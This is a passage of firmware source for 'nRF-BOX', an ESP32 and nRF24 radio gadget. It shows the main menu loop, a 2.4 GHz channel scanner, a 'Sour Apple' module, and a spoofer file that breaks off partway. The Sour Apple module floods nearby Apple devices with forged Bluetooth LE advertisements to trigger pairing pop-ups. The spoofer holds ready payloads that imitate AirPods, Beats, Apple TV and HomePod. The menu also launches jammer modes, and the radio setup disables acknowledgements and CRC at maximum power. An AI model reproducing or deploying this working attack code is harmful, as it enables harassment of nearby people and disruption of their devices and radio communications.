radio.setAutoAck(false); 96 | radio.stopListening(); 97 | radio.setRetries(0, 0); 98 | radio.setPALevel(RF24_PA_MAX, true); 99 | radio.setDataRate(RF24_2MBPS); 100 | radio.setCRCLength(RF24_CRC_DISABLED); 101 | } 102 | 103 | 104 | void setup() { 105 | 106 | configureNrf(RadioA); 107 | configureNrf(RadioB); 108 | configureNrf(RadioC); 109 | 110 | u8g2.begin(); 111 | u8g2.setBitmapMode(1); 112 | 113 | pixels.begin(); 114 | 115 | u8g2.clearBuffer(); 116 | 117 | u8g2.setFont(u8g2_font_ncenB14_tr); 118 | u8g2.setCursor(15, 35); 119 | u8g2.print("nRF-BOX"); 120 | 121 | u8g2.setFont(u8g2_font_ncenB08_tr); 122 | u8g2.setCursor(15, 50); 123 | u8g2.print("by CiferTech"); 124 | 125 | u8g2.sendBuffer(); 126 | delay(3000); 127 | 128 | u8g2.clearBuffer(); 129 | 130 | u8g2.drawXBMP(0, 0, 128, 64, logo_cifer); 131 | 132 | u8g2.sendBuffer(); 133 | delay(250); 134 | 135 | pinMode(BUTTON_UP_PIN, INPUT_PULLUP); 136 | pinMode(BUTTON_SELECT_PIN, INPUT_PULLUP); 137 | pinMode(BUTTON_DOWN_PIN, INPUT_PULLUP); 138 | 139 | } 140 | 141 | 142 | void loop() { 143 | 144 | if (current_screen == 0) { // MENU SCREEN 145 | 146 | if ((digitalRead(BUTTON_UP_PIN) == LOW) && (button_up_clicked == 0)) { 147 | item_selected = item_selected - 1; 148 | button_up_clicked = 1; 149 | if (item_selected < 0) { 150 | item_selected = NUM_ITEMS-1; 151 | } 152 | } 153 | else if ((digitalRead(BUTTON_DOWN_PIN) == LOW) && (button_down_clicked == 0)) { 154 | item_selected = item_selected + 1; 155 | button_down_clicked = 1; 156 | if (item_selected >= NUM_ITEMS) { 157 | item_selected = 0; 158 | } 159 | } 160 | 161 | if ((digitalRead(BUTTON_UP_PIN) == HIGH) && (button_up_clicked == 1)) { 162 | button_up_clicked = 0; 163 | } 164 | if ((digitalRead(BUTTON_DOWN_PIN) == HIGH) && (button_down_clicked == 1)) { 165 | button_down_clicked = 0; 166 | } 167 | } 168 | 169 | 170 | bool callAbout = true; 171 | 172 | if ((digitalRead(BUTTON_SELECT_PIN) == LOW) && (button_select_clicked == 0)) { 173 | button_select_clicked = 1; 174 | 175 | 176 | if (current_screen == 0 && item_selected == 6) { 177 | while (item_selected == 6) { 178 | if (digitalRead(BUTTON_SELECT_PIN) == HIGH) { 179 | if (callAbout) { 180 | about(); 181 | callAbout = false; // Toggle the state to not call about() 182 | } else { 183 | break; // Toggle the state to break the loop 184 | callAbout = true; // Reset the state for the next cycle 185 | } 186 | 187 | while (digitalRead(BUTTON_SELECT_PIN) == HIGH) { 188 | // Wait for the button to be released 189 | if (callAbout = true){ 190 | break; 191 | } 192 | } 193 | } 194 | } 195 | } 196 | 197 | 198 | if (current_screen == 0 && item_selected == 5) { 199 | sourappleSetup(); 200 | while (item_selected == 5) { 201 | if (digitalRead(BUTTON_SELECT_PIN) == HIGH) { 202 | sourappleLoop(); 203 | if (callAbout) { 204 | callAbout = false; // Toggle the state to not call about() 205 | } else { 206 | break; // Toggle the state to break the loop 207 | callAbout = true; // Reset the state for the next cycle 208 | } 209 | 210 | while (digitalRead(BUTTON_SELECT_PIN) == HIGH) { 211 | // Wait for the button to be released 212 | 213 | if (callAbout = true){ 214 | break; 215 | } 216 | } 217 | } 218 | } 219 | } 220 | 221 | 222 | if (current_screen == 0 && item_selected == 4) { 223 | spooferSetup(); 224 | while (item_selected == 4) { 225 | if (digitalRead(BUTTON_SELECT_PIN) == HIGH) { 226 | spooferLoop(); 227 | if (callAbout) { 228 | callAbout = false; // Toggle the state to not call about() 229 | } else { 230 | break; // Toggle the state to break the loop 231 | callAbout = true; // Reset the state for the next cycle 232 | } 233 | 234 | while (digitalRead(BUTTON_SELECT_PIN) == HIGH) { 235 | // Wait for the button to be released 236 | 237 | if (callAbout = true){ 238 | break; 239 | } 240 | } 241 | } 242 | } 243 | } 244 | 245 | 246 | if (current_screen == 0 && item_selected == 3) { 247 | blejammerSetup(); 248 | while (item_selected == 3) { 249 | if (digitalRead(BUTTON_SELECT_PIN) == HIGH) { 250 | blejammerLoop(); 251 | if (callAbout) { 252 | callAbout = false; // Toggle the state to not call about() 253 | } else { 254 | break; // Toggle the state to break the loop 255 | callAbout = true; // Reset the state for the next cycle 256 | } 257 | 258 | while (digitalRead(BUTTON_SELECT_PIN) == HIGH) { 259 | // Wait for the button to be released 260 | 261 | if (callAbout = true){ 262 | break; 263 | } 264 | } 265 | } 266 | } 267 | } 268 | 269 | 270 | if (current_screen == 0 && item_selected == 2) { 271 | jammerSetup(); 272 | while (item_selected == 2) { 273 | if (digitalRead(BUTTON_SELECT_PIN) == HIGH) { 274 | jammerLoop(); 275 | if (callAbout) { 276 | callAbout = false; // Toggle the state to not call about() 277 | } else { 278 | break; // Toggle the state to break the loop 279 | callAbout = true; // Reset the state for the next cycle 280 | } 281 | 282 | while (digitalRead(BUTTON_SELECT_PIN) == HIGH) { 283 | // Wait for the button to be released 284 | 285 | if (callAbout = true){ 286 | break; 287 | } 288 | } 289 | } 290 | } 291 | } 292 | 293 | 294 | if (current_screen == 0 && item_selected == 1) { 295 | analyzerSetup(); 296 | while (item_selected == 1) { 297 | if (digitalRead(BUTTON_SELECT_PIN) == HIGH) { 298 | analyzerLoop(); 299 | if (callAbout) { 300 | callAbout = false; // Toggle the state to not call about() 301 | } else { 302 | break; // Toggle the state to break the loop 303 | callAbout = true; // Reset the state for the next cycle 304 | } 305 | 306 | while (digitalRead(BUTTON_SELECT_PIN) == HIGH) { 307 | // Wait for the button to be released 308 | 309 | if (callAbout = true){ 310 | break; 311 | } 312 | } 313 | } 314 | } 315 | } 316 | 317 | 318 | if (current_screen == 0 && item_selected == 0) { 319 | scannerSetup(); 320 | while (item_selected == 0) { 321 | if (digitalRead(BUTTON_SELECT_PIN) == HIGH) { 322 | if (callAbout) { 323 | scannerLoop(); 324 | callAbout = false; // Toggle the state to not call about() 325 | } else { 326 | break; // Toggle the state to break the loop 327 | callAbout = true; // Reset the state for the next cycle 328 | } 329 | 330 | while (digitalRead(BUTTON_SELECT_PIN) == HIGH) { 331 | // Wait for the button to be released 332 | if (callAbout = true){ 333 | break; 334 | } 335 | } 336 | } 337 | } 338 | } 339 | 340 | } 341 | 342 | if ((digitalRead(BUTTON_SELECT_PIN) == HIGH) && (button_select_clicked == 1)) { 343 | button_select_clicked = 0; 344 | } 345 | 346 | 347 | item_sel_previous = item_selected - 1; 348 | if (item_sel_previous < 0) {item_sel_previous = NUM_ITEMS - 1;} 349 | item_sel_next = item_selected + 1; 350 | if (item_sel_next >= NUM_ITEMS) {item_sel_next = 0;} 351 | 352 | 353 | 354 | u8g2.clearBuffer(); 355 | 356 | if (current_screen == 0) { 357 | 358 | u8g2.drawXBMP(0, 22, 128, 21, bitmap_item_sel_outline); 359 | 360 | u8g2.setFont(u8g_font_7x14); 361 | u8g2.drawStr(25, 15, menu_items[item_sel_previous]); 362 | u8g2.drawXBMP( 4, 2, 16, 16, bitmap_icons[item_sel_previous]); 363 | 364 | u8g2.setFont(u8g_font_7x14B); 365 | u8g2.drawStr(25, 15+20+2, menu_items[item_selected]); 366 | u8g2.drawXBMP( 4, 24, 16, 16, bitmap_icons[item_selected]); 367 | 368 | u8g2.setFont(u8g_font_7x14); 369 | u8g2.drawStr(25, 15+20+20+2+2, menu_items[item_sel_next]); 370 | u8g2.drawXBMP( 4, 46, 16, 16, bitmap_icons[item_sel_next]); 371 | 372 | u8g2.drawXBMP(128-8, 0, 8, 64, bitmap_scrollbar_background); 373 | 374 | u8g2.drawBox(125, 64/NUM_ITEMS * item_selected, 3, 64/NUM_ITEMS); 375 | } 376 | 377 | u8g2.sendBuffer(); 378 | 379 | } 380 | -------------------------------------------------------------------------------- /VScode Platformio/src/scanner.cpp: -------------------------------------------------------------------------------- 1 | /* ____________________________ 2 | This software is licensed under the MIT License: 3 | https://github.com/cifertech/nrfbox 4 | ________________________________________ */ 5 | 6 | #include 7 | #include "scanner.h" 8 | 9 | extern U8G2_SSD1306_128X64_NONAME_F_HW_I2C u8g2; 10 | extern Adafruit_NeoPixel pixels; 11 | 12 | #define CE 5 13 | #define CSN 17 14 | 15 | #define BUTTON 26 16 | 17 | #define CHANNELS 64 18 | int channel[CHANNELS]; 19 | 20 | int line; 21 | char grey[] = " .:-=+*aRW"; 22 | 23 | #define _NRF24_CONFIG 0x00 24 | #define _NRF24_EN_AA 0x01 25 | #define _NRF24_RF_CH 0x05 26 | #define _NRF24_RF_SETUP 0x06 27 | #define _NRF24_RPD 0x09 28 | 29 | char filled = 'F'; 30 | char drawDirection = 'R'; 31 | char slope = 'W'; 32 | 33 | byte sensorArray[129]; 34 | 35 | byte getRegister(byte r) { 36 | byte c; 37 | 38 | digitalWrite(CSN, LOW); 39 | SPI.transfer(r & 0x1F); 40 | c = SPI.transfer(0); 41 | digitalWrite(CSN, HIGH); 42 | 43 | return c; 44 | } 45 | 46 | void setRegister(byte r, byte v) { 47 | digitalWrite(CSN, LOW); 48 | SPI.transfer((r & 0x1F) | 0x20); 49 | SPI.transfer(v); 50 | digitalWrite(CSN, HIGH); 51 | } 52 | 53 | void powerUp(void) { 54 | setRegister(_NRF24_CONFIG, getRegister(_NRF24_CONFIG) | 0x02); 55 | delayMicroseconds(130); 56 | } 57 | 58 | void powerDown(void) { 59 | setRegister(_NRF24_CONFIG, getRegister(_NRF24_CONFIG) & ~0x02); 60 | } 61 | 62 | void enable(void) { 63 | digitalWrite(CE, HIGH); 64 | } 65 | 66 | void disable(void) { 67 | digitalWrite(CE, LOW); 68 | } 69 | 70 | void setRX(void) { 71 | setRegister(_NRF24_CONFIG, getRegister(_NRF24_CONFIG) | 0x01); 72 | enable(); 73 | delayMicroseconds(100); 74 | } 75 | 76 | void scanChannels(void) { 77 | disable(); 78 | for (int j = 0; j < 55; j++) { 79 | for (int i = 0; i < CHANNELS; i++) { 80 | setRegister(_NRF24_RF_CH, (128 * i) / CHANNELS); 81 | setRX(); 82 | delayMicroseconds(40); 83 | disable(); 84 | if (getRegister(_NRF24_RPD) > 0) channel[i]++; 85 | } 86 | } 87 | } 88 | 89 | void outputChannels(void) { 90 | int norm = 0; 91 | 92 | for (int i = 0; i < CHANNELS; i++) 93 | if (channel[i] > norm) norm = channel[i]; 94 | 95 | Serial.print('|'); 96 | for (int i = 0; i < CHANNELS; i++) { 97 | int pos; 98 | if (norm != 0) pos = (channel[i] * 10) / norm; 99 | else pos = 0; 100 | if (pos == 0 && channel[i] > 0) pos++; 101 | if (pos > 9) pos = 9; 102 | Serial.print(grey[pos]); 103 | channel[i] = 0; 104 | } 105 | 106 | Serial.print("| "); 107 | Serial.println(norm); 108 | 109 | u8g2.clearBuffer(); 110 | 111 | u8g2.drawLine(0, 0, 0, 63); 112 | u8g2.drawLine(127, 0, 127, 63); 113 | 114 | for (byte count = 0; count < 64; count += 10) { 115 | u8g2.drawLine(127, count, 122, count); 116 | u8g2.drawLine(0, count, 5, count); 117 | } 118 | 119 | for (byte count = 10; count < 127; count += 10) { 120 | u8g2.drawPixel(count, 0); 121 | u8g2.drawPixel(count, 63); 122 | } 123 | 124 | if (norm < 10){ 125 | byte drawHeight = map(norm, 0, 20, 0, 64); 126 | sensorArray[0] = drawHeight; 127 | } 128 | if (norm > 10){ 129 | byte drawHeight = map(norm, 0, 40, 0, 64); 130 | sensorArray[0] = drawHeight; 131 | } 132 | 133 | 134 | 135 | 136 | for (byte count = 1; count <= 127; count++) { 137 | if (filled == 'D' || filled == 'd') { 138 | if (drawDirection == 'L' || drawDirection == 'l') { 139 | u8g2.drawPixel(count, 63 - sensorArray[count - 1]); 140 | } else { 141 | u8g2.drawPixel(127 - count, 63 - sensorArray[count - 1]); 142 | } 143 | } else { 144 | if (drawDirection == 'L' || drawDirection == 'l') { 145 | if (slope == 'W' || slope == 'w') { 146 | u8g2.drawLine(count, 63, count, 63 - sensorArray[count - 1]); 147 | } else { 148 | u8g2.drawLine(count, 0, count, 63 - sensorArray[count - 1]); 149 | } 150 | } else { 151 | if (slope == 'W' || slope == 'w') { 152 | u8g2.drawLine(127 - count, 63, 127 - count, 63 - sensorArray[count - 1]); 153 | } else { 154 | u8g2.drawLine(127 - count, 0, 127 - count, 63 - sensorArray[count - 1]); 155 | } 156 | } 157 | } 158 | } 159 | 160 | u8g2.setFont(u8g2_font_ncenB08_tr); 161 | u8g2.setCursor(12, 12); 162 | u8g2.print(norm); 163 | 164 | u8g2.sendBuffer(); 165 | 166 | for (byte count = 127; count >= 2; count--) { 167 | sensorArray[count - 1] = sensorArray[count - 2]; 168 | } 169 | } 170 | 171 | void checkButtons() { 172 | static unsigned long lastDebounceTime1 = 0; 173 | static int lastButtonState1 = LOW; 174 | 175 | int buttonState1 = digitalRead(BUTTON); 176 | 177 | if (buttonState1 != lastButtonState1) { 178 | lastDebounceTime1 = millis(); 179 | } 180 | if ((millis() - lastDebounceTime1) > 50) { 181 | if (buttonState1 == LOW) { 182 | if (filled == 'F') filled = 'D'; 183 | else filled = 'F'; 184 | Serial.println(filled); 185 | } 186 | } 187 | lastButtonState1 = buttonState1; 188 | } 189 | 190 | 191 | void scannerSetup(){ 192 | Serial.begin(115200); 193 | 194 | esp_bt_controller_deinit(); 195 | esp_wifi_stop(); 196 | esp_wifi_deinit(); 197 | 198 | u8g2.begin(); 199 | 200 | for (byte count = 0; count <= 128; count++) { 201 | sensorArray[count] = 0; 202 | } 203 | 204 | Serial.println("Starting 2.4GHz Scanner ..."); 205 | Serial.println(); 206 | 207 | SPI.begin(18, 19, 23, 17); 208 | SPI.setDataMode(SPI_MODE0); 209 | SPI.setFrequency(10000000); 210 | SPI.setBitOrder(MSBFIRST); 211 | 212 | pinMode(CE, OUTPUT); 213 | pinMode(CSN, OUTPUT); 214 | 215 | pinMode(BUTTON, INPUT_PULLUP); 216 | 217 | disable(); 218 | 219 | powerUp(); 220 | setRegister(_NRF24_EN_AA, 0x0); 221 | setRegister(_NRF24_RF_SETUP, 0x0F); 222 | } 223 | 224 | void scannerLoop(){ 225 | 226 | checkButtons(); 227 | scanChannels(); 228 | outputChannels(); 229 | 230 | } 231 | -------------------------------------------------------------------------------- /VScode Platformio/src/scanner.h: -------------------------------------------------------------------------------- 1 | /* ____________________________ 2 | This software is licensed under the MIT License: 3 | https://github.com/cifertech/nrfbox 4 | ________________________________________ */ 5 | 6 | #ifndef scanner_H 7 | #define scanner_H 8 | 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include "esp_bt.h" 14 | #include "esp_wifi.h" 15 | 16 | void scannerSetup(); 17 | void scannerLoop(); 18 | 19 | #endif 20 | -------------------------------------------------------------------------------- /VScode Platformio/src/sourapple.cpp: -------------------------------------------------------------------------------- 1 | /* ____________________________ 2 | This software is licensed under the MIT License: 3 | https://github.com/cifertech/nrfbox 4 | ________________________________________ */ 5 | 6 | #include 7 | #include "sourapple.h" 8 | 9 | extern U8G2_SSD1306_128X64_NONAME_F_HW_I2C u8g2; 10 | 11 | BLEAdvertising *Advertising; 12 | uint8_t packet[17]; 13 | 14 | #define MAX_LINES 8 15 | String lines[MAX_LINES]; 16 | int currentLine = 0; 17 | int lineNumber = 1; 18 | 19 | 20 | void updatedisplay() { 21 | u8g2.clearBuffer(); 22 | 23 | for (int i = 0; i < MAX_LINES; i++) { 24 | u8g2.setCursor(0, (i + 1) * 12); 25 | u8g2.print(lines[i]); 26 | } 27 | 28 | u8g2.sendBuffer(); 29 | } 30 | 31 | void addLineToDisplay(String newLine) { 32 | for (int i = 0; i < MAX_LINES - 1; i++) { 33 | lines[i] = lines[i + 1]; 34 | } 35 | lines[MAX_LINES - 1] = newLine; 36 | 37 | updatedisplay(); 38 | } 39 | 40 | void displayAdvertisementData() { 41 | String lineStr = String(lineNumber) + ": "; 42 | lineNumber++; 43 | // Convert the advertisement data to a readable string format 44 | //String dataStr = "Type: 0x"; 45 | String dataStr = "0x"; 46 | dataStr += String(packet[1], HEX); 47 | //dataStr += ", CompID: 0x"; 48 | dataStr += ",0x"; 49 | dataStr += String(packet[2], HEX); 50 | dataStr += String(packet[3], HEX); 51 | //dataStr += ", ActType: 0x"; 52 | dataStr += ",0x"; 53 | dataStr += String(packet[7], HEX); 54 | 55 | addLineToDisplay(lineStr + dataStr); 56 | } 57 | 58 | BLEAdvertisementData getOAdvertisementData() { 59 | BLEAdvertisementData advertisementData = BLEAdvertisementData(); 60 | uint8_t i = 0; 61 | 62 | packet[i++] = 16; // Packet Length 63 | packet[i++] = 0xFF; // Packet Type (Manufacturer Specific) 64 | packet[i++] = 0x4C; // Packet Company ID (Apple, Inc.) 65 | packet[i++] = 0x00; // ... 66 | packet[i++] = 0x0F; // Type 67 | packet[i++] = 0x05; // Length 68 | packet[i++] = 0xC1; // Action Flags 69 | const uint8_t types[] = { 0x27, 0x09, 0x02, 0x1e, 0x2b, 0x2d, 0x2f, 0x01, 0x06, 0x20, 0xc0 }; 70 | packet[i++] = types[rand() % sizeof(types)]; // Action Type 71 | esp_fill_random(&packet[i], 3); // Authentication Tag 72 | i += 3; 73 | packet[i++] = 0x00; // ??? 74 | packet[i++] = 0x00; // ??? 75 | packet[i++] = 0x10; // Type ??? 76 | esp_fill_random(&packet[i], 3); 77 | 78 | advertisementData.addData(std::string((char *)packet, 17)); 79 | return advertisementData; 80 | } 81 | 82 | void sourappleSetup(){ 83 | 84 | u8g2.begin(); 85 | u8g2.clearBuffer(); 86 | u8g2.setFont(u8g2_font_profont11_tf); 87 | 88 | BLEDevice::init(""); 89 | 90 | esp_ble_tx_power_set(ESP_BLE_PWR_TYPE_DEFAULT, ESP_PWR_LVL_P9); 91 | esp_ble_tx_power_set(ESP_BLE_PWR_TYPE_ADV, ESP_PWR_LVL_P9); 92 | esp_ble_tx_power_set(ESP_BLE_PWR_TYPE_SCAN, ESP_PWR_LVL_P9); 93 | 94 | BLEServer *pServer = BLEDevice::createServer(); 95 | 96 | Advertising = pServer->getAdvertising(); 97 | } 98 | 99 | void sourappleLoop(){ 100 | 101 | delay(40); 102 | BLEAdvertisementData advertisementData = getOAdvertisementData(); 103 | Advertising->setAdvertisementData(advertisementData); 104 | Advertising->start(); 105 | displayAdvertisementData(); 106 | delay(20); 107 | Advertising->stop(); 108 | 109 | } 110 | -------------------------------------------------------------------------------- /VScode Platformio/src/sourapple.h: -------------------------------------------------------------------------------- 1 | /* ____________________________ 2 | This software is licensed under the MIT License: 3 | https://github.com/cifertech/nrfbox 4 | ________________________________________ */ 5 | 6 | #ifndef sourapple_H 7 | #define sourapple_H 8 | 9 | #include 10 | #include 11 | #include 12 | #include 13 | 14 | void sourappleSetup(); 15 | void sourappleLoop(); 16 | 17 | #endif 18 | -------------------------------------------------------------------------------- /VScode Platformio/src/spoofer.cpp: -------------------------------------------------------------------------------- 1 | /* ____________________________ 2 | This software is licensed under the MIT License: 3 | https://github.com/cifertech/nrfbox 4 | ________________________________________ */ 5 | 6 | #include 7 | #include "spoofer.h" 8 | 9 | extern U8G2_SSD1306_128X64_NONAME_F_HW_I2C u8g2; 10 | 11 | BLEAdvertising *pAdvertising; 12 | 13 | const int deviceTypeNextPin = 26; 14 | const int deviceTypePrevPin = 33; 15 | const int advTypeNextPin = 25; 16 | //const int advTypePrevPin = 27; 17 | const int advControlPin = 27; 18 | 19 | unsigned long lastDebounceTimeNext = 0; 20 | unsigned long lastDebounceTimePrev = 0; 21 | unsigned long lastDebounceTimeAdvNext = 0; 22 | unsigned long lastDebounceTimeAdvPrev = 0; 23 | 24 | int lastButtonStateNext = LOW; 25 | int lastButtonStatePrev = LOW; 26 | int lastButtonStateAdvNext = LOW; 27 | int lastButtonStateAdvPrev = LOW; 28 | 29 | 30 | unsigned long lastDebounceTime = 0; 31 | unsigned long debounceDelay = 500; 32 | 33 | bool isAdvertising = true; 34 | 35 | int deviceType = 1; 36 | int delaySeconds = 1; 37 | int advType = 1; 38 | 39 | // Payload data 40 | uint8_t dataAirpods[31] = {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x02, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; 41 | uint8_t dataAirpodsPro[31] = {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x0e, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; 42 | uint8_t dataAirpodsMax[31] = {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x0a, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; 43 | uint8_t dataAirpodsGen2[31] = {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x0f, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; 44 | uint8_t dataAirpodsGen3[31] = {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x13, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; 45 | uint8_t dataAirpodsProGen2[31] = {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x14, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; 46 | uint8_t dataPowerBeats[31] = {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x03, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; 47 | uint8_t dataPowerBeatsPro[31] = {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x0b, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; 48 | uint8_t dataBeatsSoloPro[31] = {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x0c, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; 49 | uint8_t dataBeatsStudioBuds[31] = {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x11, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; 50 | uint8_t dataBeatsFlex[31] = {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x10, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; 51 | uint8_t dataBeatsX[31] = {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x05, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; 52 | uint8_t dataBeatsSolo3[31] = {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x06, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; 53 | uint8_t dataBeatsStudio3[31] = {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x09, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; 54 | uint8_t dataBeatsStudioPro[31] = {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x17, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; 55 | uint8_t dataBeatsFitPro[31] = {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x12, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; 56 | uint8_t dataBeatsStudioBudsPlus[31] = {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x16, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; 57 | uint8_t dataAppleTVSetup[23] = {0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xc1, 0x01, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00}; 58 | uint8_t dataAppleTVPair[23] = {0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xc1, 0x06, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00}; 59 | uint8_t dataAppleTVNewUser[23] = {0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xc1, 0x20, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00}; 60 | uint8_t dataAppleTVAppleIDSetup[23] = {0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xc1, 0x2b, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00}; 61 | uint8_t dataAppleTVWirelessAudioSync[23] = {0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xc1, 0xc0, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00}; 62 | uint8_t dataAppleTVHomekitSetup[23] = {0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xc1, 0x0d, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00}; 63 | uint8_t dataAppleTVKeyboard[23] = {0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xc1, 0x13, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00}; 64 | uint8_t dataAppleTVConnectingToNetwork[23] = {0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xc1, 0x27, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00}; 65 | uint8_t dataHomepodSetup[23] = {0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xc1, 0x0b, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00}; 66 | uint8_t dataSetupNewPhone[23] = {0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xc1, 0x09, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00}; 67 | uint8_t dataTransferNumber[23] = {0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xc1, 0x02, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00}; 68 | uint8_t dataTVColorBalance[23] = {0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xc1, 0x1e, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00}; 69 | 70 | 71 | void updateDisplay() { 72 | 